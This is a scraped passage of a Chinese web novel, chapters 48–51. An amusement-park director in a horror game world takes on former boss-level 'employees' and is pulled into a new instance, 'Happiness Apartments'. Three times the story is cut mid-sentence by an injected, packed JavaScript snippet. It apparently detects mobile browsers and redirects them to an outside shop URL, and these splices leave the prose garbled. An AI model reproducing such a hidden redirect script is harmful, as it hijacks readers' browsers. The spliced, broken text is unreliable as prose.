“不要不要不要!你自己留着吧!”她边摇头边快步离开。 不知道是不是错觉,隐约还能听到404的叹气声。 48. 怎么还强买强卖啊! 视线重新亮起,懒散的虫鸣伴随着潺潺水流传入她的耳朵,郝荨的心情瞬间放松了下来,回到现实的感觉真好。 “园长!救救——!” 白色机器人淹没在疯狂拍照的游客当中,郝荨立刻扭头望向大门,嗯,这野草长得天赋异禀,比她们家那个机器人好看多了。 “园长?” “园长!!!” 郝荨只当自己又聋又瞎,快步回到房间躺下,这几天累死她了,可她翻来覆去怎么也睡不着。 就在几天前她还是个平平无奇的大学生,每天为了找个超过三千块的工作绞尽脑汁,现在却成了这个废弃乐园的园长,不止没钱,还要给神明卖命。 那个奇怪的刀疤男到底为什么要杀她?她死后究竟又发生了什么,为什么反而是那个男人以同样的方式自杀了? 他真的……是自杀吗? 明明夏季的太阳如此毒辣,她却感到一股凉意渗进了骨头缝里,冷得她直打颤,这是一张无形的大网,她就像是那只落在网上的蝴蝶,被拽着拖往未知的命运。 【你怎么能这样!!!】 郝荨睁开眼,黑色眼球像个小炮弹一样冲到她眼前,好像分分钟要一佛出世二佛升天。 神使:气到爆炸! “我怎么了?”郝荨无辜。 【你作为园长,就是这么面对员工求救的吗?!】 郝荨翻了个身,撑着头凝视它。 【……干嘛?】 “可你看起来很开心。” 神使僵住,郝荨伸出手指给它弹了个脑瓜崩。 【胡、胡说——】 “当然,神使大人是为了我们乐园才做出这么大的牺牲,我呢,都谨记在心。”郝荨一脸感动,“所以,为了让神明大人开心,我们一定要团结协作,绝对不起内讧,好吗?” 【当、当然!】 神使眼珠一转,眼见着它要放什么坏屁,郝荨立刻开口打断: “对了,我的结算奖励呢?” 神使一顿,心不甘情不愿地张开嘴。 【恭喜玩家通关F级特殊副本“办公室员工守则”,通关评价:S(划去)SS】 【你获得了:“神明赠礼”x1,最佳员工荣誉奖励x1,领导死活要送的F级自选道具x1,“日日夜夜集团offer”x1】 郝荨:? 先不提评价也能改这件事,你这个自选道具……是正经道具吗? 一张offer飘飘荡荡落在她手心,是新副本的“邀请函”,郝荨将offer仔细收回系统背包,神使张开大嘴: 【啊——】 对于抽卡她已经是轻车熟路,郝荨将手伸入进去,本打算随意抽一个,却没想到出了意外。 那些奖励手感滑溜溜的,刚刚碰到些许就好像鱼一样呲溜滑一下走。 怎么回事? 她停下手,有一团奖励试探着把自己塞到她掌心,郝荨皱了皱眉,果断扔掉,但没过多久,那一团又挤了进来,甚至还把她摸到的其他东西给踹走。 郝荨:? 她无法,只能嫌弃地捏着那团包裹物取出,一阵金光闪过—— 【恭喜玩家获得特殊技能:罅隙窥视】 【品阶:紫】 【罅隙窥视:无数条相似的世界线中,总有那么一个幸运儿能在时空罅隙中窥视到自己的命运,被动技,任意一场游戏中的任意时刻,你会看到未来的自己。】 紫色品阶的预知技能! 非了这么久她终于欧了一把! 郝荨顺手又将最佳员工荣誉奖励开了,但很快她就恨不得将这奖励塞回神使的肚子里。 【恭喜玩家获得员工:卷王之王】 这个卷王之王……不会是她想的那个吧? 员工图鉴自动飘出,快速翻到了新员工的那一页。 【员工:卷王之王】 【身份:[办公室员工守则]BOSS】 【等阶:蓝】 【能力:所到之处,生物将更容易进入专注状态,如在密闭空间内,则效率提高100%】 郝荨看向文字上方的图像,艾慧也就是艾经理冷静的站在C位,而在她身后,则是三个不敢看镜头的熟人——陈乐业、张兴和王川。 还真是你们啊!!! “出来!” 太阳穴突突跳动,郝荨强按下自己飙升的血压,图像里的艾慧无奈地摇了摇头,几人身形一闪,出现在了现实中。 艾慧的个头不矮,但一米七的身高也架不住藏三个男人啊! 陈乐业小心翼翼地看了她一眼,只一秒,立刻又缩回了脑袋,他戳了戳平日里最勇敢的张兴。 张兴瞪了回去,他是莽又不是蠢!新老板眼看着在火头上,他脑子有病才把自己送上门给人骂! 他想了想,看向了王川,王川紧闭双眼把头埋在膝盖里,假装自己从来没有存在过,却不想有人朝自己屁股踹了一脚,他跟只乌龟似的一溜烟滑了出去。 王川:! 他战战兢兢回过头,正对上了郝荨那张面无表情的脸。 “老、老板……” 王川摊开手,颤颤巍巍地指向还飘在空中的F级自选道具:“这是我们的投名状……” 郝荨深吸一口气,她一脚踩在床沿,居高临下:“一个F级道具就能收买我吗?只见过老板强买强卖的,我还从没见过员工强买强卖,你们——?” 对方语气冷静,可看起来比他之前那个领导可怕多了,一想到自己现在在对方手下干活,王川吓得膝盖一软,结结实实地给郝荨行了个大礼。 郝荨:…… 倒也不必。 她叹了口气:“不是我不想收你们,而是我开的是游乐园,游客来我这里是找乐子的,又不是来上班的,你们在这儿没有发挥空间啊。” 陈乐业和张兴互相看了看,最后俩人同时看向了艾慧。 艾慧只感觉自己如芒在背,她捏了捏鼻子,上前解释道:“他们也是没地方去了。” 郝荨有些疑惑:“我们走之前不是将公司交还给你们了吗?” “可是……集团有很多分公司,缺少怨念的我们实力大大降低,要么被其他公司吞噬,要么被集团发现吞噬,结局都是一样的。”陈乐业委屈道。 郝荨一时无语,怎么游戏副本还有KPI制度啊! 她忍不住移开视线,陈乐业一把年纪了,扭扭捏捏的样子实在有点辣眼睛。 “好吧,你们可以留下来。” 王川眼睛亮起,不等他道谢,郝荨立刻补充道:“但不准伤害我的游客!我不允许他们好不容易休个假来玩,还要被你们这些卷王伤害!” “啊……” 陈乐业有些失落,他们这些怨念核心即便离开了游戏,也会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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六月的山海市逐渐进入了夏季,但或许是郊外的缘故,即便是下午三四点也还是很舒适。 【这是乐园自带的恒温系统。】 神使很生气,这可都是它的神力! 郝荨有些意外,这破神使刚来时还要蹭她一百多块存款,竟然还能有这么高端的系统? 小机器人气呼呼地冲过来,绕着她打转。 【你怎么骂神呢!】 “哇!” 看到这一幕,一个女孩连忙拉了拉身旁的男友,“快看!那个机器人还会跟人撒娇!” 机器人动作一顿,大声朝她道:“小雾没有跟园长撒娇!” 女孩脸上露出了郝荨熟悉的姨母笑:“好好好,你没有撒娇。” 高端的神使没有听出对方的潜台词,只敏感地觉得有哪里不对,但又没找到不对之处,它表情变换,最终还是选择了人类通用的[可爱微笑]表情。 “小雾,给我来个套餐。” 郝荨挑了张椅子坐下,岸边的餐厅里坐了许多玩完游戏的游客,他们兴奋地讨论着剧情和通关方式,声音有些大,吵吵嚷嚷的,但她却丝毫不觉得吵闹,这可都是她未来的韭菜们啊! 小雾很快把套餐送了上来,郝荨猛喝了一口清爽的奶茶,差点没被里头放的小料给噎死,她搅拌了一下,无数沉在“海面”下的椰果和珍珠浮了起来,与其说是奶茶,倒不如说是奶粥。 她有些无语,那条八爪鱼怎么也学会了人类的媚上手段。 真是世风日下! “你听到我说话了没?朱!杰!” 郝荨扭头望去,是之前对小雾姨母笑的那个游客,她噘着嘴,一副不高兴的模样。 49. 掉马了! 朱杰头都没抬一下,手指噼里啪啦地打字:“宝宝,宝宝我听到了!你等一下我们组长找我!” 吴娴把杯子重重一放:“说好今天出来玩不加班,你看看从出门开始你就一直抱着你那个手机,路上还要开电脑改代码,你们组长什么毛病啊?放假还要一直找你!” 见朱杰还在那打字,她更生气了:“你到底还玩不玩?马上就要排到我们了!” “玩!玩玩……” “玩你个头!他是不是又叫你加班?!” 女友生气,朱杰也很委屈,他手头的项目出了bug,其他人都一推四五六,推到他这个小兵头上来,好不容易跟女友出来约会一次眼看着就要泡汤,他想抱抱对方安慰却被吴娴一把推开。 吴娴气冲冲站起,深吸一口气道:“没关系,你在外面加班,我自己进去玩。” 说着,她便往船上走去。 “别啊宝宝!” 朱杰追了两步,手机突然响了,是组长打来的电话。 他真想接起电话就骂,但身体却诚实地发出了牛马的声音:“好的好的,组长我看到了,我马上就改!” 他唯唯诺诺地从背包里掏出笔记本,正要修改,笔记本弹出了没电提醒。 朱杰骂了一句脏话。 “啊不是,组长我不是说你……好的好的,好的我一定完成任务!” 挂掉电话,游轮处已经看不到吴娴的身影,她已经和其他游客一起进入了游戏,朱杰满脸颓丧地望向郝荨:“……你好,你是游乐园的园长吗?” 郝荨嘴里塞着汉堡,不明所以地点点头。 “请问哪里有充电的地方吗?” 郝荨努力将汉堡咽下,指了指宿舍楼的方向,“你去一楼吧,没锁的房间都能用。” 朱杰道谢后便抱着笔记本来到了宿舍楼,一楼除了一间园长休息室外,其他都没锁,他走进去看了看,虽然家具老旧了但还算干净,插座也都能用,他正要插上电源,门外传来了一阵欢声笑语,一波又一波的游客路过这里,好奇地望向他。 朱杰皱了皱眉,转身上了楼。 三楼的【兔子之家】他和吴娴已经玩过,走廊里也是项目的一环,人来人往的有些吵闹,倒是二楼既没有游客和一楼三楼又隔了一层,想必安静很多。 他顺着二楼向里走去——那是什么? 水泥浇筑而成的宿舍楼里突兀地出现了一间……办公室? 连门都是办公大门的样式,上头有面玻璃,朱杰靠上去查看,里头摆着许多桌椅,靠着落地窗的那排座位上甚至还放着电脑,又像是自习室又像是办公室,让人有些摸不着头脑。 他敲了敲门试探着推开,里头只有一个女人,她正坐在门口百无聊赖地玩着蜘蛛纸牌。 “你好?” 那女人冷眼看来,朱杰冷不丁打了个冷颤,不知为何,有种被教导主任盯上的感觉。 “呃……我想借一下插座,可以进来吗?园长已经同意了!” 那人扶了扶眼镜,冷淡道:“进来吧。” 朱杰随便找了张座位坐下,还真别说,这里可比楼下班味重多了,一进来他就有种想要库库加班的冲动,热血瞬间上涌,他用力一把掀开电脑—— 论加班,他不会输给任何人! * 金橙色的光辉洒落在湖面上,一只不知道从哪飞来的黑色乌鸦划过水面,荡开轻柔的水波,郝荨对着湖面放空。 一个年轻女生打着电话从她旁边路过。 “嗯嗯…我到了!哎呀,都说了这里不是骗人的,真的有个游乐园,不说了,我马上要进兔子之家——” 郝荨眼疾手快,一把揪住了她……身后的小女孩。 她将口中的汉堡咽下,差点没噎死:“这是你妹妹?” 那游客一懵,她哪来的妹妹? 她扭过身一瞧,见鬼了,还真有个小女孩! 小女孩看起来只有十一二岁的模样,个子矮矮的,留着短短的妹妹头,像是颗柔顺的蒲公英,眼睛半闭着,即便被揪出来也没有睁大半分。 她穿着舒适的大T恤和短裤,斜挎着个巨大的包,包里一只破破烂烂的白色兔子探着脑袋,红色的眼睛仿佛和它的主人一起疑惑地向她望过来。 游客连忙解释:“不是啊,我一个人来的!” 郝荨一惊:“啊?你家人呢?” 小女孩歪了歪脑袋,想了想道:“他们去找地方停车了,让我先进去等。” 说完,她就要跟着前往【兔子之家】的游客队伍向楼里走去。 郝荨看了看外头,停车? 就迷雾乐园这地方,哪里不能停? 她挑了挑眉,也跟了上去。 小女孩走了几步后回头发现她跟在后头,顿了顿:“……你为什么跟着我?” 郝荨背着手,老神在在道:“你知道的吧,未成年玩恐怖游戏要有家长陪同?” 小女孩视线漂移了一瞬: “……我只是去厕所。” 她强作自然地拐了个弯,往厕所里走去。 郝荨叫住要去给这批游客送知情书的神使:“别让她进本哦,咱们得保护未成年人心理健康。” 小机器人抬起短短粗粗的手指,艰难比了个“OK”,郝荨放心离开。 过了一会,小雾收走玩家签好的知情书,见女孩还没出来,它在门口无聊地转了几圈,目光忽然被什么白色的东西吸引住。 一团白色的毛茸茸在拐角颤颤巍巍,忽的收回。 神使:? 什么怪东西? 它滑行到角落,就这么几秒功夫,女孩踮着脚尖从厕所飞快溜走,上楼时差点绊倒,神使正要回头,那团白色的东西快速在它脚下蹭了一下。 “啊!” 小机器人吓了一跳,它猛地后退,什么玩意儿! 拐角重新变得安静起来,神使回头看了眼厕所,确认厕所里没人出来,才小心走向角落。 奇怪的是,拐角处并没有东西存在。 方柚柚,也就是这个小女孩此刻已经上了三楼。 她个子矮小,脚步声很轻,人又沉默,直到这一批的玩家在屋里转了一圈才被人发现,之前就站在她跟前的年轻女孩吓了一跳: “哎呦我靠!是你啊……吓死我了!” 方柚柚打了个激灵,她没有被游戏吓到,反倒是被这个姐姐的尖叫声吓到,差点没撞倒玩具熊。 年轻女孩是一个人来的,同行的还有两人拼团,大家都不认识,这小女孩估计是那两人的妹妹吧。 她没有在意,反而搭话道:“小妹妹,你几岁了啊?这么小就来玩儿恐怖游戏,不害怕吗?” 方柚柚摇摇头:“不怕,那些都是假的。” 年轻女孩一噎,现在小孩儿胆子都这么大的吗?! 好吧,可能对小孩来说已经 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三个大人一时有些沉默,年轻女孩打圆场道: “真的诶,你好厉害!” 方柚柚一怔,她的脸“唰”一下红了个透。 她纠结半天也没想出来该回什么,只好小声嗫嚅道:“谢谢。” “其实走廊上的线索已经提示我们了,不管是报纸上给的重复信息还是刻意被遮挡住的红漆痕迹,很容易就能拼凑出之前发生了什么……” 她讲解得很认真,没有发现另外几人的尴尬神色。 儿童房,蓉蓉趴在墙后跟哥哥小声说道:“他们是不是不开心?” 大伟严肃地点点头。 园长说过了,游乐园的存在就是要给游客们带来快乐,现在游客不开心,这可是个大问题! “我去问问妈妈!你在这里看着。” “好!” 蓉蓉抱着她的竹蜻蜓重重点头,唉,她还这么小就要肩负起养家的重担! 没关系,她可以的! 蓉蓉将身体虚化,顺着墙进到了柜子里,柜门没关好,她不小心漏了条缝,正好和那个比她大不了几岁的小女孩对上了视线。 “!” 两人都很震惊,方柚柚更是下意识就要将兔子玩偶抛出。 一股危机感袭上心头,她猛地停下动作。 下一秒,柜中出现了另一张极为可怖的脸。 那女人脸色灰白,活像是被水泥封住一般,浑身上下找不到一个透气孔,她睁开眼,没有眼白,巨大的黑色瞳孔死死盯着她,仿佛她只要敢动作,她就会立马将她带入地底。 方柚柚吞了吞口水,与急切跳动的心脏相反,她的眼睛像个灯泡似的越来越亮。 她回头看了看,那三人不知道怎么回事,听完她的话后不约而同地进了房间翻找新线索,于是,方柚柚将兔子拿在手里,迎着那女人的恐怖视线也爬进了柜子里。 “请问……” 蒋红正要抱着蓉蓉离开,却不想柜子里爬进来一个游客,这可给她整不会了。 园长没培训过这种场面啊! 她还在思考要不要更恐怖一点吓跑那个小女孩,却听到这女孩小声开口: “你们是怨念吗?” 50. 卷卷卷 “请问……你们是怨念吗?” 蒋红皱起眉毛,生硬道:“我不知道你在说什么,请游客注意游乐园的公共秩序。” 方柚柚没有放弃,她继续问:“能不能告诉我,你们是怎么来到现实世界的?” 蒋红抱起蓉蓉,转身就要离开,她心里慌得很,脸上虽然看不出来,手却在发抖,虽然园长说他们的身份都已经处理过了,但万一呢! 她本就不是什么很大胆的人,来到游乐园之后连大门都没出过,平日里也不会和游客搭话,没想到居然在这里被扒了马甲! “你们的装扮很像人类,只有一点,人类是需要呼吸的,你的鼻孔和耳朵得留个缝,不然会被怀疑的。” “所以,你们是怨念吗?” 这个女孩在威胁她?! 这话一出,蒋红甚至不受控地产生了要处理掉这个小女孩的想法,她慢慢伸出手,顺着女孩的肩膀滑向她细细的脖子…… 铛! 她的脑袋好像被什么重重一撞,撞得七荤八素。 是神使在警告她! 没有办法,她只好死不承认,蒋红态度生硬:“我不知道你在说什么,请不要影响我们工作!” 她将柜门“啪”地关上,脸上的冷静表情在关上门的瞬间消失不见,她一把抱住蓉蓉,虚化技能发动! 两人从三楼直冲而下,眨眼间就冲进了郝荨房间。 郝荨正瘫在床上刷论坛,也不知道究竟有多少玩家,她每次进入都能看到帖子刷刷往上翻,几乎每次刷新都有十几条新帖子出现。 她兴致勃勃地点进一条叫做“理性盘点迷雾游戏有哪些知名大佬”的帖子: 【上个帖子收集了大家的投票,基于公平公正公开的原则,楼主进行了简单的统计,选出了以下十位大佬。】 【第一位——暴君,因为某种众所周知的原因,我将暴君排在了第一,没有人杠我吧?】 【暴君:巴别塔之歌现任会长,天赋未知,据我七舅姥爷的内部消息传言,会长的能力和赛○人类似,嘘!不可说不可说。】 【第二位……】 【……】 【第七位,也是最神秘的一位!大家应该都猜到了吧?迷雾游戏知名打野——霍格!】 【此神秘男子疑似与巴别塔之歌高层关系匪浅,本人却很少参与高层内部的固定团,天赋未知,门匙未知,外貌未知,唯一可以确认的是,他不爱露脸,常年戴着黑色……】 “园长不好了!” 尖啸从她头顶传来,郝荨抬起头,只见全身被水泥覆盖的恐怖厉鬼直直向她迎面扑来。 郝荨:! 就在要撞到她时,蒋红一个急刹车,利落翻身将蓉蓉稳稳放在地上。 蓉蓉眼睛亮亮的,还想鼓掌让妈妈再来一次。 “园长!大事不妙!” 郝荨:“……园长本人其实还可以,你先说说发生什么事了?” 蓉蓉扑进她怀中,凑到耳边小声道:“园长姐姐,有个小姐姐问我和妈妈是不是怨念。” 郝荨神情一凛,玩家? “哪个姐姐?” 蓉蓉举起手,踮着脚尖比了比:“就…这么高的小姐姐。” 这么高的女孩,今天游乐园里只来了一个。 郝荨想起之前那个奇怪的女孩,她迅速起身向楼上走去。 奇怪的是,当她们回到308时,那个女孩已经离开了。 “她什么时候走的?” 蓉蓉的哥哥摇摇头,他当时在吓人,没有注意到。 见他很懊恼,郝荨摸了摸他的脑袋:“没事,你做的是对的,客人最重要。” “真的吗?” “嗯。” 郝荨慢慢踱步下楼,这个突然出现又突然消失的女孩究竟是什么人? 真的是玩家吗?迷雾游戏还有这么年轻的玩家? 她回忆起女孩的样貌,她个子不高,看起来也就十一二岁的模样,这个年纪的小孩不是应该刚上初中吗? 如果真是玩家,她又是怎么找到乐园的? 郝荨忽然有些不安,如果一个未成年小孩都能随随便便找到她,那其他玩家…… ‘神使,乐园有什么保护措施吗?’ 【你想要什么保护措施?】 ‘我看人家小说里都是什么,对主角有恶意的人会自动失去行动能力,咱们就没有吗?’ 【……没有。】 郝荨叹了口气,人果然还是得靠自己。 【但是——】 ‘但是什么?’ 神使的声音听起来有点不怀好意。 【门匙升阶后会有新功能,说不定,就是你想要的安保功能哦。】 郝荨眯了眯眼。 见她不说话,神使语气带上些急促。 【真的!只要你能通过升阶考核,神明就会奖励努力的孩子,不管你想要什么,都可能达成!】 【况且迷雾乐园现在发展顺利,现有的区域已经不足以容纳更多游客了,升阶考核刻不容缓啊园长……】 郝荨敷衍的嗯嗯两声,只留神使像个卖不出去货的主播在她脑内疯狂推销。 考核当然是得考核的,但什么时候考她还得考虑考虑。 她向海边走去,拐弯时一阵冷风吹来,凉飕飕的,一点也不像夏天的风,有个小虫子被风吹得晕头转向,在她脖子上扎了一下。 郝荨皱着眉一把拍死。 她走后,树丛里忽然冒出个声音:“……成功了?” 一个十一二岁的女孩顶着乱发和树叶站起,坐在她肩上的破旧兔子点了点头。 方柚柚张开手,飞起一只小虫,和壮烈牺牲的那只一模一样。 小虫正要朝她脖子咬去,兔子突然一歪脑袋,伸出耳朵挡住了它。 【你确定要锚定她?】 方柚柚抓着兔子耳朵将它提在眼前: “除了她,你还看到别的可能吗?” 兔子的红色眼珠闪了闪。 它没有再挡,小虫迅速咬上方柚柚的脖子。 【玩家“白兔子”对玩家“园长”使用道具“应声虫”,锚定成功。】 * 安静的办公室里日光灯稳定地亮着,朱杰皱起眉毛,他已经改完大部分bug,可还是有一处不知该如何修改。 他拿起咖啡猛灌了一口,被苦得打了个激灵。 这次好像特别容易进状态啊…… 这想法在他脑海中一闪而过,电话铃声响起。 “喂?组长?……啊我马上!还有一点!……好好我知道我一定!一定马上完成!好好好您放心吧……好的再见。” “嘟。” 他用力挂断,在心里把组长的祖宗十八代问候了个遍。 催催催,就知道催! “他这写得不对啊。” 身后突然传来一个男人的声音。 “得这么改吧?” “嗯……我看不太行,还是得那么改。” 朱杰回过头,在他背后不知何时站了三个男人,正对着他的屏幕指指点点。 朱杰:…… 这群人谁啊? “这样呢?” “不行不行,还是得按我说的来!” 朱杰刚想骂人,组长的对话框又弹了出来: ——【还没改完吗?多久能改完?】 这刚过了三分钟!!! “嘿我这暴脾气!你们这组长发什么神金!让开,我帮你骂回去!” 朱杰吓了一跳,说话这人被另外两人眼疾手快地按住,最年长的那人不好意思笑笑:“对不住啊兄弟,我们以前也有个烦人的领 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14223094|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 导,PTSD了。” 朱杰沉默,朱杰欲言又止,朱杰热泪盈眶。 原来大家都是当过牛马的好兄弟! “没事,”他抓了抓头皮,烦闷情绪一扫而空,“你们刚刚说要怎么改来的?” “哦就这里……” 他们三言两语将bug指出,朱杰初看还不觉得有什么,再仔细一瞧竟发现问题迎刃而解! 他边改边震惊,倒也不是瞧不起他们,而是他虽然对外宣称不过是底层牛马,可好歹也是名校毕业就职大厂,这bug说大不大说小不小,偏偏他就怎么也找不到问题出在哪里,他已经苦思冥想改了好几天了,这才拖到休假还没改完。 谁能想到这么偏远的游乐园里居然有人看几眼就能改出来?! “牛掰啊兄弟!你们也是大厂过来玩的吗?” 陈乐业谦虚道:“没有没有,我们现在就是游乐园普通打工仔而已。” “啊?这……”朱杰看了看周围,有些恍惚。 这么厉害的技术人员跑到游乐园来打工? 他想到一个可能性,压低声音问:“你们是到年纪被优化了?要不要我给你们内推一下,我们公司虽然压力大但对年纪放得还算宽松,尤其是这两位,明明还很年轻啊!” 三人互相看了看,想要卷的心蠢蠢欲动。 “咳咳!” 他们条件反射般看向门口,电脑后露出一双冰冷的眼睛。 艾慧:盯—— 陈乐业抖了抖,拒绝道:“不必了谢谢,我们在这里挺好的!” 朱杰也有点害怕艾慧,他小声问:“这是你们领导吗?好像我上学时候的教导主任……” 就连张兴也缩起脖子,几人拼命把身体缩成一团,力图不引起艾慧的怀疑。 “是啊!可凶了!” “咳咳!!!” 张兴立刻站起身,指着屏幕道:“就这,这里改一下再运行看看!” 艾慧冷笑一声,朱杰连忙正色,认真修改起来。 她关掉手中玩到一半的蜘蛛纸牌,定神望向岸边坐着的人影,良久,轻轻叹了口气。 湖边,天色渐晚,大部分游客都已经收拾收拾准备归家。 游轮和露台之间的大门打开,游客们快步走出,吴娴快乐地和其他玩家一起聊着天,已经完全忘记了自己还有个男友在外头。 “园长!什么时候出其他游戏啊?” “就是啊,哪有游乐园就俩项目的!快出新的!” “我明天来二刷,求求了千万别排队,就不能出个预约吗?” 吴娴红光满面地冲到郝荨面前:“园长,我能预约下周末的【鱼人节盛宴】吗?我想玩总裁!” 郝荨正要回答,被一声大喊打断。 “宝宝!” 吴娴这才恍然发觉自己忘了什么,她反应很快,立刻冷下脸来:“谁是你宝宝,工作才是你宝宝!” 朱杰背着双肩包,一把将生气的女友抱住,小声哄道:“宝宝别生气了,这次项目完成老板很满意,要给我升职!” “真的?” “真的!我这次奖金能拿这个数,”朱杰偷偷摸摸比了个数字,“你不是一直很想去海边吗?我请了年假,我们一起去好不好?” “好吧,原谅你了。” 宿舍楼的二楼,三人凑在落地窗前,王川感叹道:“老大,真的哄好了诶!” 陈乐业扬起下巴,那是,要不然他怎么找到的老婆! 他就是靠这一套打败了一众相亲对象,成为了公司程序员里第一个有老婆的人! 小情侣甜甜蜜蜜了一会儿,朱杰忽然想起什么,叫住郝荨:“园长,谢谢你啊,自习室多少钱我打给你。” “没事,就一点电——” 等等。 “什么自习室?” 51. 怎么不算游戏呢? “什么自习室?” “哦,”朱杰抬手一指,“就二楼那间,明明很安静,但是就好像回到了以前高考冲刺班的时候,加班效率那叫一个快!” 他有些不好意思道:“我以后还能来吗?这里比什么星○克都好使!” 郝荨深吸一口气,狠狠瞪向二楼。 “!” 张兴立刻蹲下,还把陈乐业和王川一起拉了下来。 几人跟乌龟似的慢慢爬到墙后,艾慧一副伤了眼睛的模样,无奈摇摇头。 郝荨本来很生气,但见这三人害怕的样子她很是无语,忽然,她想到了什么,表情慢慢变了。 “可以呀,那我们就按正常市价收。” 她拿起手机找了个差不多的自习室价格报给朱杰,朱杰打钱很爽快,两人是最后一波游客,他们离开后游乐园就只剩下了自己人。 “小雾。” 系统将直播间关掉,滑行到郝荨跟前。 “怎么了园长?” 郝荨露出一个和善的微笑:“我的新项目怎么没有录入系统呢?这个bug什么时候能修复?” 神使一懵,它的显示屏上出现了一个懵逼的颜文字。 “什么新项目?” 郝荨故作吃惊:“自习室呀!” 神使:…… “自习室怎么能算是游乐项目?!” 园长说完的瞬间它就翻遍了世界各地的游乐园数据库,没有一家游乐园会拥有叫做“自习室”的项目,这明显是不合理的! “怎么不算呢?” 郝荨循循善诱道:“游客是不是花了钱?” “是。” “他是不是自愿进入的,我没有拿刀逼他吧?” “……是?” “他出来后是不是很开心?” “……???” “一个项目,游客花了钱、心甘情愿进入、出来后还很开心,那它就是游乐项目!” 郝荨一锤定音,小机器人的眼睛都变成了蚊香圈圈。 “哈?” 郝荨哄它:“这么一看,乐园现在的空间确实只能容纳三个游乐项目,再多就得扩张,果然还是你有先见之明!等你把bug修复了我就要准备升阶副本啦!” 神使哼哼唧唧半天,憋出一个“哼”! 【玩家“园长”获得“办公室员工守则”副本核心,专属游乐项目解锁成功。】 【游乐项目:卷王自习室】 【人数要求:不限】 【门匙升级成功。】 【乐园等级:LV4(小有人气)】 郝荨伸了个懒腰,正准备继续浏览帖子,却见神使突然【哼哼】一声: 【没有系列IP的游乐园不是好周边店,升阶考核开启。】 【系列副本融合中——】 【融合成功。】 【请通关系列融合C级副本“幸福公寓”,通关后迷雾乐园将自动升阶,开启新区域。】 晕眩感传来,郝荨眼睛一花,自己就从破败的游乐园来到了——破败的公寓楼。 【欢迎来到迷雾游戏。】 郝荨:……靠! 公寓楼是上个世纪的设计,三层的老式小楼被尖尖细细的铁栅栏包裹着,栅栏上锈迹斑斑,还有些深色的脏污痕迹,一个蓝色铁牌被铁丝胡乱捆在上头,字迹随着岁月已经淡化,仔细去看才能看清上面写着“幸福公寓”四个字。 一楼的阳台上横着伸出细长的枝丫,有麻雀扑棱着翅膀飞来在树叶间啄食不知名的红色小果子,在夕阳的映衬下看起来既安静又有些诡异。 郝荨感觉有股视线在盯着自己,她回过头,望向那张陌生却戴着个熟悉半面罩的脸,犹豫道:“法瑟?” 法瑟微微点头。 她又低下头,看向这场游戏的最后一个玩家。 这个玩家看起来年纪不大,个子也不高,斜跨的包里,一只破破烂烂的白色兔子歪着脑袋趴在那里。 或许是郝荨盯着她的时间太久,那个小女孩收回观察周围的视线,自我介绍道:“代号‘白兔子’,你们也可以叫我…柚柚。” 郝荨立刻扬起一抹笑:“你可以叫我玛弥。” 她的笑容分外甜美,带得这张平均脸都显得温柔起来。 一道机械音忽然回荡在这片空间: 【欢迎来到C级副本“幸福公寓”,我是本关卡的看守者,编号444。】 【中元节,鬼门开。】 【四天前,幸福公寓的204号房发生了一起灭门惨案,在那之后,公寓里便时常响起孩童们捉迷藏的童谣声……眼看着中元节即将到来,房客们终于下定决心找来你们解决闹鬼之事。】 【游戏目标:在三天后的中元节到来之前,超度亡魂。】 凌乱的脚步声从楼内冲出,仿佛有无数看不见的小孩拍着手围绕着他们似的,笑声伴随着童谣声一起响起: “月亮高高挂天上,我们玩个捉迷藏,小手小脚轻轻跑,藏好藏好不被找。老大轻轻跃楼下,老二睡在大树旁——” 一阵冷风忽然吹过空旷的楼前,树叶沙沙作响,郝荨皱起了眉毛。 “老三鱼儿水里游,老四偷偷躲床上,找你找我真开心,老五留下夜哭郎。” “汪汪汪汪汪!!!” 一团黑影突然窜了出来,咆哮着冲向三人! “别叫了!吁!吁!” 楼梯气喘吁吁跑出来一个中年男人,他体型虚胖,过大的啤酒肚将皮带挤到了胯部,将将把宽大的西装裤吊在腰间。 他用力挥舞了几下手臂,那团黑影“呜”的一声缩了缩脖子,郝荨这才看清那不是什么恐怖怪物,而是一只棕黄色的大狗,没什么品种可言,只是只再普通不过的田园犬,身上脏兮兮的,打眼看去甚至有点像是黑狗。 “不好意思啊,这狗是个野狗,凶是凶了点,不过不咬人的!” 他话音刚落,方柚柚便弯下腰伸出手来:“嘬嘬嘬。” 这可能是狗界通用语,不管是现实世界还是游戏世界里的狗狗都吃这一套。 果然,那狗嗅了嗅她的手,连一秒钟都没有尾巴就摇成了螺旋桨。 方柚柚直起身,表情认真,像是验证了什么真理一般:“确实不咬人。” 在她撸狗时,郝荨一直微笑着,不留痕迹地观察她,这会有点绷不住,嘴角有些许僵硬。 中年男人可能也觉得方柚柚有点傻,他嘴角抽了两下,以一个社会人的自制力忍住了对她的吐槽,只是干笑两声:“哈哈,你们就是来……抓鬼的?” 他有些疑惑,这两个年轻人也就罢了,怎么还有个小女孩? 但他没有表露出太多,只是转身将他们引进公寓:“来,来,进来聊!” 公寓的采光不是很好,墙面也发黄,看得出很久没有维护过了。 “我叫田全,你们叫我田叔就好。” 田叔把他们带到家中,他家是入口第一户,门牌号101。 郝荨率先进入屋子,屋子不大,也算不上很干净,但好在没什么味道,饭桌最靠近墙面的地方放着一个小供台,供台上摆着一个插香的小碗和一张田全夫妻的黑白结婚照。 “那是我老婆,她好多年前就抛下我跟我儿子走了,连个自己的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 